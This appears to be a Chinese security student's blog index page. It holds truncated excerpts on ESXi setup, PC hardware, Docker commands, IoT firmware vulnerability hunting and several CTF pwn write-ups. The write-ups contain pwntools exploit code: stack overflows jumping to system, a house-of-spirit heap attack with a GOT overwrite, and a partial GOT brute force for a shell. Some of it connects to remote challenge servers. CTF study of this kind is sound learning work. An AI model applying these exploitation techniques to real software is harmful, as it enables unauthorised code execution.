硬件实训2-1
任务:VMware虚拟化ESXi的安装,并在ESXi中创建虚拟机。老师要求是要装Vcenter然后进行实验的,奈何本人笔记本太le se,内存实在太小装不了呀。呜呜呜。。。。
环境:VMware® Workstation 16 Pro、VMware ESXi 6.7、win10
正文:ESXI的搭建:
第一步自然是进官网下载ESXi的iso文件,没有iso可什么都做不了
下载完成开始安装:
vmware的使用的搭建肯定都会,就不演示了,下面来演示一下安装过程
continue继续
f11继续下一步安装
这是关于使用的ESXi空间,默认continue继续
默认美式键盘继续
设置密码,注意要包含字母、数字和符号
已经基本配置完成,f11开始下载
下载完成,重启
至此已经安装完成,我使用的是虚拟机的net模式,如果要使用桥接还需要进行配置:
f2进入设置
在这个页面你可你选择你的网络连接模式,重启网络,设置密码等
全部设置完成后就可以在浏览器界面管理你的服务器了:
(注意网址是你ESXi界面的DHCP地址)
在这里可以查看服务器的所有信息并管理设置服务器
创 ...
小试牛刀iot
查找方法过于漏洞记录的网站国内外有很多,我只介绍下面两个:
利用cve list查询已经发布的漏洞:https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=camera
利用exploit database查询,在我看来,exploit database的数据更将丰富清晰,但是漏洞库相比较少。https://www.exploit-db.com/exploits
工欲善其事必先利其器binwalk(解压固件包、查看固件信息) + ghidra(调试)
下载地址:https://pan.baidu.com/s/1IY5YiIXuEmsCvglt0qgrzw 提取码: 78tu
关于固件的下载和说明文档,我的建议是————百度下面我来介绍一个例子:D-Link DIR-645路由器漏洞描述:
固件下载地址:
链接: https://pan.baidu.com/s/1C1koxw1r6uOHzoNAo7PrmQ 提取码: mta9
漏洞分析:__查询签名得到架构的信息__(一般是x86,x86_64,i386,amd64,mips,a ...
硬件实训一
台式计算机的硬件选购任务:5000块以下配置一台学习人工智能的计算机
第一节实训课我直接“啊这”好吧,让一个选择恐惧症去京东shopping简直就是折磨,关键还一口气shopping了一个上午。
下面是我选的配置(5000以下配置人工智能的计算机,简直了好吧!)
intel:
AMD:
ZJCTF_2019_EasyHeap
有system函数,那么就很好了,不用泄露libc了,直接跳转拿到flag?不可能的,这是个坑,里面什么都没有。
edit函数可以竟然可以重新编辑堆块的大小,堆溢出!!!
delete函数没什么用,free后置零,不存在uaf。
思路:
1、申请三个堆块,将/bin/sh写入chunk1。
2、利用house of spirit伪造堆块(伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin )
3、利用伪造的堆块将chunk0的地址覆盖为free_got地址
4、将free_got地址改写为system的地址
5、此时free chunk1就能拿到shell。
exp:
#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'if args['REMOTE']: p = remote('no ...
Dmctf_pwn题解
以下题均请注意glibc版本问题
intoverflow整数溢出绕过,跳转到后门函数
exp:
#!/usr/bin/python#coding:utf-8from pwn import*p=process('./intoverflow')system_addr = 0x8048645p.recvuntil("Now,we need a password")payload = 'a' * 0x15 + 'b' * 4 + p32(system_addr)payload += 'a' * (261 - len(payload))p.send(payload)p.interactive()
stackoverflow栈溢出跳转至后门函数
exp:
#!/usr/bin/python#coding:utf-8from pwn import*system_addr = 0x4006bap = process('./stackoverflow')#p = remote()p ...
ctf题目环境搭建
关于docker:基本命令:(注意权限问题,没有设置权限组时需要加sudo)
docker ps -a 查看容器
docker ps 查看正在运行中的容器
docker images 查看镜像
service docker start 启动docker服务
docker start 容器id 启动一个已经停止的容器
docker stop 容器id 停止一个已经启动的容器
docker rm 容器id 删除一个容器
docker rmi 镜像name 删除本地的一个镜像
docker run -it 镜像名称 /bin/bash 使用某一镜像来运行容器
docker run -it 容器id /bin/bash 启动某一容器(退出时容器会关闭)
docker exec -it 容器id /bin/bash 启动某一容器(退出时容器不会关闭)
docker export 1e560fca3906(容器id) > ubuntu.tar 导出容器 1e560fca3906 快照到本地文件 ubuntu.tar
cat docker/ubuntu.tar | docker impo ...
无输出操作之__do_global_dtors_aux
__do_global_dtors_aux中有一个gadget可以修改stack上的数据。
add [rbp-3Dh],ebx(当rbp和ebx可控时,我们就可以修改rbp-0x3d地址里面的内容,从而获取想要的真实地址。)
nx保护,got表不可改。栈溢出,并且没有任何可输出的函数。首先想到的是利用dl_runtime_reslove,但是dl_runtime_reslove常用于32,并且实操后发现执行不通。
利用思路: 1、迁移到bss段 2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布。 3、找到一个能用的真实地址,利用神奇的gadget,把他伪造成system,再次跳回到main函数。 4、栈溢出构造system(‘/bin/sh’)
exp:
#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *import syscontext.log_level = 'debug'pwn_name = "no_leak" ...
Geekpwn_pwn_writeup
jichuexp:
from pwn import*context.log_level='debug'p=remote('172.18.0.1',10000)#p=process('./jichu')elf=ELF('./jichu')sh=0x080482easystem=elf.symbols['system']payload='a'*0x48+'aaaa'+p32(system)+p32(0xdeadbeef)+p32(sh)p.sendlineafter('Please input admin password:','administrator')p.sendline('1')p.sendlineafter('Please input new log info:',payload)p.sendline('4 ...
Geekpwn Pwn222
无输出函数,尝试使用__do_global_dtors_aux时发现在栈上并没有残留的地址。
由于read()函数为该程序唯一输入程序,不考虑对其下手。剩下有realpath()函数和setvbuf()函数,realpath()函数为比较高级的函数,其附近的函数不好利用,而根据提供的libc库文件发现setvbuf()函数距离puts()函数非常的近,考虑用read()函数构造ROP修改setvbuf()got表的后两位,将其修改为puts()函数,由于修改了倒数第二位,所以每次只有1/16的几率修改成功。
#!/usr/bin/env python# coding=utf-8from pwn import *#context.log_level = 'debug'while True: try: # r=remote('81.69.0.47',2212) r=process('./pwn222') elf = ELF('./pwn222') l ...